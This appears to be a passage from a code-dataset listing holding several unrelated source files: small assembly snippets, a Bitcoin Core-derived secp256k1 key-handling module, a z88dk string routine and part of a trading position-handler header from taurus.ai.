text stringlengths 1 1.05M |
|---|
#include "hi.asm"
li(1)
st 0
li(0x5a)
push 0
li(0x5b)
push 0
peek 0 1
ld 0
1: jmp 1b
|
// Copyright (c) 2009-2018 The Bitcoin Core developers
// Copyright (c) 2017 The Zcash developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <key.h>
#include <arith_uint256.h>
#include <crypto/common.h>
#include <crypto/hmac_sha512.h>
#include <random.h>
#include <secp256k1.h>
#include <secp256k1_recovery.h>
static secp256k1_context* secp256k1_context_sign = nullptr;
/** These functions are taken from the libsecp256k1 distribution and are very ugly. */
/**
* This parses a format loosely based on a DER encoding of the ECPrivateKey type from
* section C.4 of SEC 1 <http://www.secg.org/sec1-v2.pdf>, with the following caveats:
*
* * The octet-length of the SEQUENCE must be encoded as 1 or 2 octets. It is not
* required to be encoded as one octet if it is less than 256, as DER would require.
* * The octet-length of the SEQUENCE must not be greater than the remaining
* length of the key encoding, but need not match it (i.e. the encoding may contain
* junk after the encoded SEQUENCE).
* * The privateKey OCTET STRING is zero-filled on the left to 32 octets.
* * Anything after the encoding of the privateKey OCTET STRING is ignored, whether
* or not it is validly encoded DER.
*
* out32 must point to an output buffer of length at least 32 bytes.
*/
static int ec_privkey_import_der(const secp256k1_context* ctx, unsigned char *out32, const unsigned char *privkey, size_t privkeylen) {
const unsigned char *end = privkey + privkeylen;
memset(out32, 0, 32);
/* sequence header */
if (end - privkey < 1 || *privkey != 0x30u) {
return 0;
}
privkey++;
/* sequence length constructor */
if (end - privkey < 1 || !(*privkey & 0x80u)) {
return 0;
}
ptrdiff_t lenb = *privkey & ~0x80u; privkey++;
if (lenb < 1 || lenb > 2) {
return 0;
}
if (end - privkey < lenb) {
return 0;
}
/* sequence length */
ptrdiff_t len = privkey[lenb-1] | (lenb > 1 ? privkey[lenb-2] << 8 : 0u);
privkey += lenb;
if (end - privkey < len) {
return 0;
}
/* sequence element 0: version number (=1) */
if (end - privkey < 3 || privkey[0] != 0x02u || privkey[1] != 0x01u || privkey[2] != 0x01u) {
return 0;
}
privkey += 3;
/* sequence element 1: octet string, up to 32 bytes */
if (end - privkey < 2 || privkey[0] != 0x04u) {
return 0;
}
ptrdiff_t oslen = privkey[1];
privkey += 2;
if (oslen > 32 || end - privkey < oslen) {
return 0;
}
memcpy(out32 + (32 - oslen), privkey, oslen);
if (!secp256k1_ec_seckey_verify(ctx, out32)) {
memset(out32, 0, 32);
return 0;
}
return 1;
}
/**
* This serializes to a DER encoding of the ECPrivateKey type from section C.4 of SEC 1
* <http://www.secg.org/sec1-v2.pdf>. The optional parameters and publicKey fields are
* included.
*
* privkey must point to an output buffer of length at least CKey::PRIVATE_KEY_SIZE bytes.
* privkeylen must initially be set to the size of the privkey buffer. Upon return it
* will be set to the number of bytes used in the buffer.
* key32 must point to a 32-byte raw private key.
*/
static int ec_privkey_export_der(const secp256k1_context *ctx, unsigned char *privkey, size_t *privkeylen, const unsigned char *key32, bool compressed) {
assert(*privkeylen >= CKey::PRIVATE_KEY_SIZE);
secp256k1_pubkey pubkey;
size_t pubkeylen = 0;
if (!secp256k1_ec_pubkey_create(ctx, &pubkey, key32)) {
*privkeylen = 0;
return 0;
}
if (compressed) {
static const unsigned char begin[] = {
0x30,0x81,0xD3,0x02,0x01,0x01,0x04,0x20
};
static const unsigned char middle[] = {
0xA0,0x81,0x85,0x30,0x81,0x82,0x02,0x01,0x01,0x30,0x2C,0x06,0x07,0x2A,0x86,0x48,
0xCE,0x3D,0x01,0x01,0x02,0x21,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFE,0xFF,0xFF,0xFC,0x2F,0x30,0x06,0x04,0x01,0x00,0x04,0x01,0x07,0x04,
0x21,0x02,0x79,0xBE,0x66,0x7E,0xF9,0xDC,0xBB,0xAC,0x55,0xA0,0x62,0x95,0xCE,0x87,
0x0B,0x07,0x02,0x9B,0xFC,0xDB,0x2D,0xCE,0x28,0xD9,0x59,0xF2,0x81,0x5B,0x16,0xF8,
0x17,0x98,0x02,0x21,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFE,0xBA,0xAE,0xDC,0xE6,0xAF,0x48,0xA0,0x3B,0xBF,0xD2,0x5E,
0x8C,0xD0,0x36,0x41,0x41,0x02,0x01,0x01,0xA1,0x24,0x03,0x22,0x00
};
unsigned char *ptr = privkey;
memcpy(ptr, begin, sizeof(begin)); ptr += sizeof(begin);
memcpy(ptr, key32, 32); ptr += 32;
memcpy(ptr, middle, sizeof(middle)); ptr += sizeof(middle);
pubkeylen = CPubKey::COMPRESSED_PUBLIC_KEY_SIZE;
secp256k1_ec_pubkey_serialize(ctx, ptr, &pubkeylen, &pubkey, SECP256K1_EC_COMPRESSED);
ptr += pubkeylen;
*privkeylen = ptr - privkey;
assert(*privkeylen == CKey::COMPRESSED_PRIVATE_KEY_SIZE);
} else {
static const unsigned char begin[] = {
0x30,0x82,0x01,0x13,0x02,0x01,0x01,0x04,0x20
};
static const unsigned char middle[] = {
0xA0,0x81,0xA5,0x30,0x81,0xA2,0x02,0x01,0x01,0x30,0x2C,0x06,0x07,0x2A,0x86,0x48,
0xCE,0x3D,0x01,0x01,0x02,0x21,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFE,0xFF,0xFF,0xFC,0x2F,0x30,0x06,0x04,0x01,0x00,0x04,0x01,0x07,0x04,
0x41,0x04,0x79,0xBE,0x66,0x7E,0xF9,0xDC,0xBB,0xAC,0x55,0xA0,0x62,0x95,0xCE,0x87,
0x0B,0x07,0x02,0x9B,0xFC,0xDB,0x2D,0xCE,0x28,0xD9,0x59,0xF2,0x81,0x5B,0x16,0xF8,
0x17,0x98,0x48,0x3A,0xDA,0x77,0x26,0xA3,0xC4,0x65,0x5D,0xA4,0xFB,0xFC,0x0E,0x11,
0x08,0xA8,0xFD,0x17,0xB4,0x48,0xA6,0x85,0x54,0x19,0x9C,0x47,0xD0,0x8F,0xFB,0x10,
0xD4,0xB8,0x02,0x21,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFE,0xBA,0xAE,0xDC,0xE6,0xAF,0x48,0xA0,0x3B,0xBF,0xD2,0x5E,
0x8C,0xD0,0x36,0x41,0x41,0x02,0x01,0x01,0xA1,0x44,0x03,0x42,0x00
};
unsigned char *ptr = privkey;
memcpy(ptr, begin, sizeof(begin)); ptr += sizeof(begin);
memcpy(ptr, key32, 32); ptr += 32;
memcpy(ptr, middle, sizeof(middle)); ptr += sizeof(middle);
pubkeylen = CPubKey::PUBLIC_KEY_SIZE;
secp256k1_ec_pubkey_serialize(ctx, ptr, &pubkeylen, &pubkey, SECP256K1_EC_UNCOMPRESSED);
ptr += pubkeylen;
*privkeylen = ptr - privkey;
assert(*privkeylen == CKey::PRIVATE_KEY_SIZE);
}
return 1;
}
bool CKey::Check(const unsigned char *vch) {
return secp256k1_ec_seckey_verify(secp256k1_context_sign, vch);
}
void CKey::MakeNewKey(bool fCompressedIn) {
do {
GetStrongRandBytes(keydata.data(), keydata.size());
} while (!Check(keydata.data()));
fValid = true;
fCompressed = fCompressedIn;
}
CPrivKey CKey::GetPrivKey() const {
assert(fValid);
CPrivKey privkey;
int ret;
size_t privkeylen;
privkey.resize(PRIVATE_KEY_SIZE);
privkeylen = PRIVATE_KEY_SIZE;
ret = ec_privkey_export_der(secp256k1_context_sign, privkey.data(), &privkeylen, begin(), fCompressed);
assert(ret);
privkey.resize(privkeylen);
return privkey;
}
CPubKey CKey::GetPubKey() const {
assert(fValid);
secp256k1_pubkey pubkey;
size_t clen = CPubKey::PUBLIC_KEY_SIZE;
CPubKey result;
int ret = secp256k1_ec_pubkey_create(secp256k1_context_sign, &pubkey, begin());
assert(ret);
secp256k1_ec_pubkey_serialize(secp256k1_context_sign, (unsigned char*)result.begin(), &clen, &pubkey, fCompressed ? SECP256K1_EC_COMPRESSED : SECP256K1_EC_UNCOMPRESSED);
assert(result.size() == clen);
assert(result.IsValid());
return result;
}
// Check that the sig has a low R value and will be less than 71 bytes
bool SigHasLowR(const secp256k1_ecdsa_signature* sig)
{
unsigned char compact_sig[64];
secp256k1_ecdsa_signature_serialize_compact(secp256k1_context_sign, compact_sig, sig);
// In DER serialization, all values are interpreted as big-endian, signed integers. The highest bit in the integer indicates
// its signed-ness; 0 is positive, 1 is negative. When the value is interpreted as a negative integer, it must be converted
// to a positive value by prepending a 0x00 byte so that the highest bit is 0. We can avoid this prepending by ensuring that
// our highest bit is always 0, and thus we must check that the first byte is less than 0x80.
return compact_sig[0] < 0x80;
}
bool CKey::Sign(const uint256 &hash, std::vector<unsigned char>& vchSig, bool grind, uint32_t test_case) const {
if (!fValid)
return false;
vchSig.resize(CPubKey::SIGNATURE_SIZE);
size_t nSigLen = CPubKey::SIGNATURE_SIZE;
unsigned char extra_entropy[32] = {0};
WriteLE32(extra_entropy, test_case);
secp256k1_ecdsa_signature sig;
uint32_t counter = 0;
int ret = secp256k1_ecdsa_sign(secp256k1_context_sign, &sig, hash.begin(), begin(), secp256k1_nonce_function_rfc6979, (!grind && test_case) ? extra_entropy : nullptr);
// Grind for low R
while (ret && !SigHasLowR(&sig) && grind) {
WriteLE32(extra_entropy, ++counter);
ret = secp256k1_ecdsa_sign(secp256k1_context_sign, &sig, hash.begin(), begin(), secp256k1_nonce_function_rfc6979, extra_entropy);
}
assert(ret);
secp256k1_ecdsa_signature_serialize_der(secp256k1_context_sign, vchSig.data(), &nSigLen, &sig);
vchSig.resize(nSigLen);
return true;
}
bool CKey::VerifyPubKey(const CPubKey& pubkey) const {
if (pubkey.IsCompressed() != fCompressed) {
return false;
}
unsigned char rnd[8];
std::string str = "CPUchain key verification\n";
GetRandBytes(rnd, sizeof(rnd));
uint256 hash;
CHash256().Write((unsigned char*)str.data(), str.size()).Write(rnd, sizeof(rnd)).Finalize(hash.begin());
std::vector<unsigned char> vchSig;
Sign(hash, vchSig);
return pubkey.Verify(hash, vchSig);
}
bool CKey::SignCompact(const uint256 &hash, std::vector<unsigned char>& vchSig) const {
if (!fValid)
return false;
vchSig.resize(CPubKey::COMPACT_SIGNATURE_SIZE);
int rec = -1;
secp256k1_ecdsa_recoverable_signature sig;
int ret = secp256k1_ecdsa_sign_recoverable(secp256k1_context_sign, &sig, hash.begin(), begin(), secp256k1_nonce_function_rfc6979, nullptr);
assert(ret);
ret = secp256k1_ecdsa_recoverable_signature_serialize_compact(secp256k1_context_sign, &vchSig[1], &rec, &sig);
assert(ret);
assert(rec != -1);
vchSig[0] = 27 + rec + (fCompressed ? 4 : 0);
return true;
}
bool CKey::Load(const CPrivKey &privkey, const CPubKey &vchPubKey, bool fSkipCheck=false) {
if (!ec_privkey_import_der(secp256k1_context_sign, (unsigned char*)begin(), privkey.data(), privkey.size()))
return false;
fCompressed = vchPubKey.IsCompressed();
fValid = true;
if (fSkipCheck)
return true;
return VerifyPubKey(vchPubKey);
}
bool CKey::Derive(CKey& keyChild, ChainCode &ccChild, unsigned int nChild, const ChainCode& cc) const {
assert(IsValid());
assert(IsCompressed());
std::vector<unsigned char, secure_allocator<unsigned char>> vout(64);
if ((nChild >> 31) == 0) {
CPubKey pubkey = GetPubKey();
assert(pubkey.size() == CPubKey::COMPRESSED_PUBLIC_KEY_SIZE);
BIP32Hash(cc, nChild, *pubkey.begin(), pubkey.begin()+1, vout.data());
} else {
assert(size() == 32);
BIP32Hash(cc, nChild, 0, begin(), vout.data());
}
memcpy(ccChild.begin(), vout.data()+32, 32);
memcpy((unsigned char*)keyChild.begin(), begin(), 32);
bool ret = secp256k1_ec_privkey_tweak_add(secp256k1_context_sign, (unsigned char*)keyChild.begin(), vout.data());
keyChild.fCompressed = true;
keyChild.fValid = ret;
return ret;
}
bool CExtKey::Derive(CExtKey &out, unsigned int _nChild) const {
out.nDepth = nDepth + 1;
CKeyID id = key.GetPubKey().GetID();
memcpy(&out.vchFingerprint[0], &id, 4);
out.nChild = _nChild;
return key.Derive(out.key, out.chaincode, _nChild, chaincode);
}
void CExtKey::SetSeed(const unsigned char *seed, unsigned int nSeedLen) {
static const unsigned char hashkey[] = {'B','i','t','c','o','i','n',' ','s','e','e','d'};
std::vector<unsigned char, secure_allocator<unsigned char>> vout(64);
CHMAC_SHA512(hashkey, sizeof(hashkey)).Write(seed, nSeedLen).Finalize(vout.data());
key.Set(vout.data(), vout.data() + 32, true);
memcpy(chaincode.begin(), vout.data() + 32, 32);
nDepth = 0;
nChild = 0;
memset(vchFingerprint, 0, sizeof(vchFingerprint));
}
CExtPubKey CExtKey::Neuter() const {
CExtPubKey ret;
ret.nDepth = nDepth;
memcpy(&ret.vchFingerprint[0], &vchFingerprint[0], 4);
ret.nChild = nChild;
ret.pubkey = key.GetPubKey();
ret.chaincode = chaincode;
return ret;
}
void CExtKey::Encode(unsigned char code[BIP32_EXTKEY_SIZE]) const {
code[0] = nDepth;
memcpy(code+1, vchFingerprint, 4);
code[5] = (nChild >> 24) & 0xFF; code[6] = (nChild >> 16) & 0xFF;
code[7] = (nChild >> 8) & 0xFF; code[8] = (nChild >> 0) & 0xFF;
memcpy(code+9, chaincode.begin(), 32);
code[41] = 0;
assert(key.size() == 32);
memcpy(code+42, key.begin(), 32);
}
void CExtKey::Decode(const unsigned char code[BIP32_EXTKEY_SIZE]) {
nDepth = code[0];
memcpy(vchFingerprint, code+1, 4);
nChild = (code[5] << 24) | (code[6] << 16) | (code[7] << 8) | code[8];
memcpy(chaincode.begin(), code+9, 32);
key.Set(code+42, code+BIP32_EXTKEY_SIZE, true);
}
bool ECC_InitSanityCheck() {
CKey key;
key.MakeNewKey(true);
CPubKey pubkey = key.GetPubKey();
return key.VerifyPubKey(pubkey);
}
void ECC_Start() {
assert(secp256k1_context_sign == nullptr);
secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);
assert(ctx != nullptr);
{
// Pass in a random blinding seed to the secp256k1 context.
std::vector<unsigned char, secure_allocator<unsigned char>> vseed(32);
GetRandBytes(vseed.data(), 32);
bool ret = secp256k1_context_randomize(ctx, vseed.data());
assert(ret);
}
secp256k1_context_sign = ctx;
}
void ECC_Stop() {
secp256k1_context *ctx = secp256k1_context_sign;
secp256k1_context_sign = nullptr;
if (ctx) {
secp256k1_context_destroy(ctx);
}
}
|
; size_t strrspn(const char *str, const char *cset)
SECTION code_clib
SECTION code_string
PUBLIC strrspn
EXTERN asm_strrspn
strrspn:
pop af
pop de
pop hl
push hl
push de
push af
jp asm_strrspn
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _strrspn
defc _strrspn = strrspn
ENDIF
|
[bits 16]
startPatch EXE_LENGTH, spaceEndsKeyMouse
startBlockAt addr_valueForKey
callFromOverlay waitForClickOrKey
endBlockAt off_valueForKey_end
endPatch
|
/*****************************************************************************
* Copyright [2017] [taurus.ai]
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
/**
* Handle position automated update (replace PosMap)
* @Author cjiang (changhao.jiang@taurus.ai)
* @since September, 2017
*/
#ifndef YIJINJING_POSHANDLER_H
#define YIJINJING_POSHANDLER_H
#include "YJJ_DECLARE.h"
#include "json.hpp"
#include "KfLog.h"
#include "FeeHandler.hpp"
#include "TypeConvert.hpp"
#include "longfist/LFConstants.h"
#include "longfist/LFDataStruct.h"
using json = nlohmann::json;
YJJ_NAMESPACE_START
#define PH_EFFECTIVE_KEY "ok"
#define PH_POSITIONS_KEY "Pos"
#define PH_POS_COSTS_KEY "Cost"
#define PH_TD_SOURCE_KEY "Source"
#define PH_FEE_SETUP_KEY "FeeSetup"
#define TOTAL_INDEX 0
#define AVAIL_INDEX 1 /**< available position */
#define YESTD_INDEX 1 /**< yesterday position (equivalent to avail_pos) */
#define POS_NUM_PER_DIR 2 /**< position number per direction */
#define DIRECTION_NUM 3 /**< Net, Long, Short */
#define PH_BALANCE_INDEX 0
#define PH_POS_FEE_INDEX 1
#define COST_NUM_PER_DIR 2
/** pos will be updated to long */
typedef int VOLUME_DATA_TYPE;
/**
* easy marco for pos array index calculation
* @param: dir (char) LF_CHAR_Net / LF_CHAR_Long / LF_CHAR_Short
* @return: index in array
*/
#define POS_ARRAY_IDX(dir, off) (POS_NUM_PER_DIR * (dir - '1') + off)
#define COST_ARRAY_IDX(dir, off) POS_ARRAY_IDX(dir, off)
FORWARD_DECLARE_PTR(PosHandler);
class PosHandler
{
protected:
json positions;
json costs;
bool is_poisoned;
short source;
FeeHandlerPtr fee_handler;
bool is_stock_flag;
public:
PosHandler(short source): is_poisoned(false), source(source)
{
fee_handler = FeeHandlerPtr(new FeeHandler());
is_stock_flag = is_stock(source);
};
void init(const string& js_str)
{
json _js = json::parse(js_str);
init_js(_js);
}
void init_js(const json& js)
{
is_poisoned = !js[PH_EFFECTIVE_KEY];
positions = js[PH_POSITIONS_KEY];
source = js[PH_TD_SOURCE_KEY];
if (js.find(PH_POS_COSTS_KEY) != js.end())
{
costs = js[PH_POS_COSTS_KEY];
}
if (js.find(PH_FEE_SETUP_KEY) != js.end())
{
setup_fee(js[PH_FEE_SETUP_KEY]);
}
}
void setup_fee(const json& js)
{
fee_handler->init(js);
}
void set_fee(FeeHandlerPtr fee)
{
fee_handler = fee;
}
static PosHandlerPtr create(short source);
static PosHandlerPtr create(short source, const string& js_str);
static PosHandlerPtr create(short source, json js);
inline string to_string() const
{
json _js = to_json();
return _js.dump();
}
json to_json() const
{
json _js;
_js[PH_POSITIONS_KEY] = positions;
_js[PH_EFFECTIVE_KEY] = !is_poisoned;
_js[PH_TD_SOURCE_KEY] = source;
_js[PH_POS_COSTS_KEY] = costs;
_js[PH_FEE_SETUP_KEY] = fee_handler->to_json();
return _js;
}
FeeHandlerPtr get_fee_handler() const
{
return fee_handler;
}
inline bool poisoned() const
{
return is_poisoned;
}
vector<string> get_tickers() const
{
vector<string> tickers;
for (json::const_iterator iter = positions.begin(); iter != positions.end(); ++iter)
tickers.push_back(iter.key());
return tickers;
}
boost::python::list get_py_tickers() const
{
boost::python::list tickers;
for (json::const_iterator iter = positions.begin(); iter != positions.end(); ++iter)
tickers.append((string)iter.key());
return tickers;
}
void print(KfLogPtr logger) const
{
for (string& ticker: get_tickers())
{
KF_LOG_INFO_FMT(logger, "[pos] (ticker)%s net:(t)%i(a)%i(y)%i long:(t)%i(a)%i(y)%i short:(t)%i(a)%i(y)%i",
ticker.c_str(), get_net_total(ticker), get_net_avail(ticker), get_net_yestd(ticker),
get_long_total(ticker), get_long_avail(ticker), get_long_yestd(ticker),
get_short_total(ticker), get_short_avail(ticker), get_short_yestd(ticker)
);
}
}
void switch_day()
{
for (json::iterator iter = positions.begin(); iter != positions.end(); ++iter)
{
json& pos_array = iter.value();
pos_array[POS_ARRAY_IDX(LF_CHAR_Net, YESTD_INDEX)] = pos_array[POS_ARRAY_IDX(LF_CHAR_Net, TOTAL_INDEX)];
pos_array[POS_ARRAY_IDX(LF_CHAR_Long, YESTD_INDEX)] = pos_array[POS_ARRAY_IDX(LF_CHAR_Long, TOTAL_INDEX)];
pos_array[POS_ARRAY_IDX(LF_CHAR_Short, YESTD_INDEX)] = pos_array[POS_ARRAY_IDX(LF_CHAR_Short, TOTAL_INDEX)];
}
}
static inline bool is_stock(short source)
{
return false;
}
inline bool update(const string& ticker, VOLUME_DATA_TYPE volume, LfDirectionType direction, LfOffsetFlagType offset)
{
if (is_stock_flag)
stock_update(ticker, volume, 0, direction, offset);
else
future_update(ticker, volume, 0, direction, offset);
return !is_poisoned;
}
bool update_py(const string& ticker, VOLUME_DATA_TYPE volume, const string& direction, const string& trade_off)
{
return update(ticker, volume, direction[0], trade_off[0]);
}
inline bool update(const LFRtnTradeField* rtn_trade)
{
if (is_stock_flag)
stock_update(rtn_trade->InstrumentID, rtn_trade->Volume, rtn_trade->Price, rtn_trade->Direction, rtn_trade->OffsetFlag);
else
future_update(rtn_trade->InstrumentID, rtn_trade->Volume, rtn_trade->Price, rtn_trade->Direction, rtn_trade->OffsetFlag);
return !is_poisoned;
}
inline json& get_pos_array(const string& ticker)
{
if (positions.find(ticker) == positions.end())
{
json pos_array = json::array();
for (size_t i = 0; i < DIRECTION_NUM * POS_NUM_PER_DIR; i++)
{
pos_array.push_back((VOLUME_DATA_TYPE)0);
}
positions[ticker] = pos_array;
}
return positions[ticker];
}
inline json& get_cost_array(const string& ticker)
{
if (costs.find(ticker) == costs.end())
{
json pos_array = json::array();
for (size_t i = 0; i < DIRECTION_NUM * COST_NUM_PER_DIR; i++)
{
pos_array.push_back((double)0);
}
costs[ticker] = pos_array;
}
return costs[ticker];
}
inline void add_pos(const string& ticker, LfPosiDirectionType dir, VOLUME_DATA_TYPE tot, VOLUME_DATA_TYPE yd, double balance, double fee=0)
{
// add position info
json& pos_array = get_pos_array(ticker);
pos_array[POS_ARRAY_IDX(dir, TOTAL_INDEX)] =
pos_array[POS_ARRAY_IDX(dir, TOTAL_INDEX)].get<VOLUME_DATA_TYPE>() + tot;
pos_array[POS_ARRAY_IDX(dir, YESTD_INDEX)] =
pos_array[POS_ARRAY_IDX(dir, YESTD_INDEX)].get<VOLUME_DATA_TYPE>() + yd;
// add cost info
json& cost_array = get_cost_array(ticker);
cost_array[COST_ARRAY_IDX(dir, PH_BALANCE_INDEX)] =
cost_array[COST_ARRAY_IDX(dir, PH_BALANCE_INDEX)].get<double>() + balance;
cost_array[COST_ARRAY_IDX(dir, PH_POS_FEE_INDEX)] =
cost_array[COST_ARRAY_IDX(dir, PH_POS_FEE_INDEX)].get<double>() + fee;
}
void add_pos_py(const string& ticker, const string& dir, VOLUME_DATA_TYPE tot, VOLUME_DATA_TYPE yd, double balance, double fee)
{
add_pos(ticker, dir[0], tot, yd, balance, fee);
}
inline void set_pos(const string& ticker, LfPosiDirectionType dir, VOLUME_DATA_TYPE tot, VOLUME_DATA_TYPE yd, double balance, double fee)
{
// set position info
json& pos_array = get_pos_array(ticker);
pos_array[POS_ARRAY_IDX(dir, TOTAL_INDEX)] = tot;
pos_array[POS_ARRAY_IDX(dir, YESTD_INDEX)] = yd;
// set cost info
json& cost_array = get_cost_array(ticker);
cost_array[COST_ARRAY_IDX(dir, PH_BALANCE_INDEX)] = balance;
cost_array[COST_ARRAY_IDX(dir, PH_POS_FEE_INDEX)] = fee;
}
void set_pos_py(const string& ticker, const string& dir, VOLUME_DATA_TYPE tot, VOLUME_DATA_TYPE yd, double balance, double fee)
{
set_pos(ticker, dir[0], tot, yd, balance, fee);
}
inline double get_holding_value(const string& ticker, double last_price) const
{
int multiplier = fee_handler->get_contract_multiplier(ticker, is_stock_flag);
if (positions.find(ticker) == positions.end())
return 0;
const json& pos_array = positions[ticker];
VOLUME_DATA_TYPE net_pos = (is_stock_flag)
? pos_array[POS_ARRAY_IDX(LF_CHAR_Net, TOTAL_INDEX)].get<VOLUME_DATA_TYPE>()
: pos_array[POS_ARRAY_IDX(LF_CHAR_Long, TOTAL_INDEX)].get<VOLUME_DATA_TYPE>()
- pos_array[POS_ARRAY_IDX(LF_CHAR_Short, TOTAL_INDEX)].get<VOLUME_DATA_TYPE>();
return last_price * multiplier * net_pos;
}
inline double get_holding_balance(const string& ticker) const
{
if (costs.find(ticker) == costs.end())
return 0;
const json &cost_array = costs[ticker];
double net_balance = (is_stock_flag)
? cost_array[COST_ARRAY_IDX(LF_CHAR_Net, PH_BALANCE_INDEX)].get<double>()
: cost_array[COST_ARRAY_IDX(LF_CHAR_Long, PH_BALANCE_INDEX)].get<double>()
- cost_array[COST_ARRAY_IDX(LF_CHAR_Short, PH_BALANCE_INDEX)].get<double>();
return net_balance;
}
inline double get_holding_fee(const string& ticker) const
{
if (costs.find(ticker) == costs.end())
return 0;
const json& cost_array = costs[ticker];
double net_fee = (is_stock_flag)
? cost_array[COST_ARRAY_IDX(LF_CHAR_Net, PH_POS_FEE_INDEX)].get<double>()
: cost_array[COST_ARRAY_IDX(LF_CHAR_Long, PH_POS_FEE_INDEX)].get<double>()
+ cost_array[COST_ARRAY_IDX(LF_CHAR_Short, PH_POS_FEE_INDEX)].get<double>();
return net_fee;
}
/***********************/
/* EASY WAY TO GET POS */
/***********************/
inline VOLUME_DATA_TYPE get_pos_total(const string& ticker, LfPosiDirectionType dir) const
{
return get_pos(ticker, dir, TOTAL_INDEX);
}
inline VOLUME_DATA_TYPE get_pos_avail(const string& ticker, LfPosiDirectionType dir) const
{
return get_pos(ticker, dir, AVAIL_INDEX);
}
inline VOLUME_DATA_TYPE get_pos_yestd(const string& ticker, LfPosiDirectionType dir) const
{
return get_pos(ticker, dir, YESTD_INDEX);
}
inline VOLUME_DATA_TYPE get_net_total(const string& ticker) const
{
return get_pos(ticker, LF_CHAR_Net, TOTAL_INDEX);
}
inline VOLUME_DATA_TYPE get_net_avail(const string& ticker) const
{
return get_pos(ticker, LF_CHAR_Net, AVAIL_INDEX);
}
inline VOLUME_DATA_TYPE get_net_yestd(const string& ticker) const
{
return get_pos(ticker, LF_CHAR_Net, YESTD_INDEX);
}
inline VOLUME_DATA_TYPE get_long_total(const string& ticker) const
{
return get_pos(ticker, LF_CHAR_Long, TOTAL_INDEX);
}
inline VOLUME_DATA_TYPE get_long_avail(const string& ticker) const
{
return get_pos(ticker, LF_CHAR_Long, AVAIL_INDEX);
}
inline VOLUME_DATA_TYPE get_long_yestd(const string& ticker) const
{
return get_pos(ticker, LF_CHAR_Long, YESTD_INDEX);
}
inline VOLUME_DATA_TYPE get_short_total(const string& ticker) const
{
return get_pos(ticker, LF_CHAR_Short, TOTAL_INDEX);
}
inline VOLUME_DATA_TYPE get_short_avail(const string& ticker) const
{
return get_pos(ticker, LF_CHAR_Short, AVAIL_INDEX);
}
inline VOLUME_DATA_TYPE get_short_yestd(const string& ticker) const
{
return get_pos(ticker, LF_CHAR_Short, YESTD_INDEX);
}
inline double get_fee(const string& ticker, LfPosiDirectionType dir) const
{
return get_cost(ticker, dir, PH_POS_FEE_INDEX);
}
inline double get_balance(const string& ticker, LfPosiDirectionType dir) const
{
return get_cost(ticker, dir, PH_BALANCE_INDEX);
}
inline double get_net_fee(const string& ticker) const
{
return get_cost(ticker, LF_CHAR_Net, PH_POS_FEE_INDEX);
}
inline double get_net_balance(const string& ticker) const
{
return get_cost(ticker, LF_CHAR_Net, PH_BALANCE_INDEX);
}
inline double get_long_fee(const string& ticker) const
{
return get_cost(ticker, LF_CHAR_Long, PH_POS_FEE_INDEX);
}
inline double get_long_balance(const string& ticker) const
{
return get_cost(ticker, LF_CHAR_Long, PH_BALANCE_INDEX);
}
inline double get_short_fee(const string& ticker) const
{
return get_cost(ticker, LF_CHAR_Short, PH_POS_FEE_INDEX);
}
inline double get_short_balance(const string& ticker) const
{
return get_cost(ticker, LF_CHAR_Short, PH_BALANCE_INDEX);
}
protected:
inline VOLUME_DATA_TYPE get_pos(const string& ticker, LfPosiDirectionType dir, short off) const
{
if (positions.find(ticker) == positions.end())
return 0;
else
{
return positions[ticker][POS_ARRAY_IDX(dir, off)];
}
}
inline double get_cost(const string& ticker, LfPosiDirectionType dir, short off) const
{
if (costs.find(ticker) == costs.end())
return 0;
else
{
return costs[ticker][COST_ARRAY_IDX(dir, off)];
}
}
inline void stock_update(const string& ticker, VOLUME_DATA_TYPE volume, double price, LfDirectionType direction, LfOffsetFlagType offset)
{
json& pos_array = get_pos_array(ticker);
json& cost_array = get_cost_array(ticker);
switch(direction)
{
case LF_CHAR_Buy:
{
pos_array[POS_ARRAY_IDX(LF_CHAR_Net, TOTAL_INDEX)] =
pos_array[POS_ARRAY_IDX(LF_CHAR_Net, TOTAL_INDEX)].get<VOLUME_DATA_TYPE>() + volume;
break;
}
case LF_CHAR_Sell:
{
pos_array[POS_ARRAY_IDX(LF_CHAR_Net, TOTAL_INDEX)] =
pos_array[POS_ARRAY_IDX(LF_CHAR_Net, TOTAL_INDEX)].get<VOLUME_DATA_TYPE>() - volume;
VOLUME_DATA_TYPE avail = pos_array[POS_ARRAY_IDX(LF_CHAR_Net, AVAIL_INDEX)].get<VOLUME_DATA_TYPE>() - volume;
if (avail < 0)
is_poisoned = true;
pos_array[POS_ARRAY_IDX(LF_CHAR_Net, AVAIL_INDEX)] = avail;
break;
}
default:
{
is_poisoned = true;
}
}
cost_array[COST_ARRAY_IDX(LF_CHAR_Net, PH_POS_FEE_INDEX)]
= cost_array[COST_ARRAY_IDX(LF_CHAR_Net, PH_POS_FEE_INDEX)].get<double>()
+ fee_handler->get_fee(ticker, volume, price, direction, offset, true, false);
cost_array[COST_ARRAY_IDX(LF_CHAR_Net, PH_BALANCE_INDEX)]
= cost_array[COST_ARRAY_IDX(LF_CHAR_Net, PH_BALANCE_INDEX)].get<double>()
+ price * volume * ((direction == LF_CHAR_Buy) ? 1: -1);
}
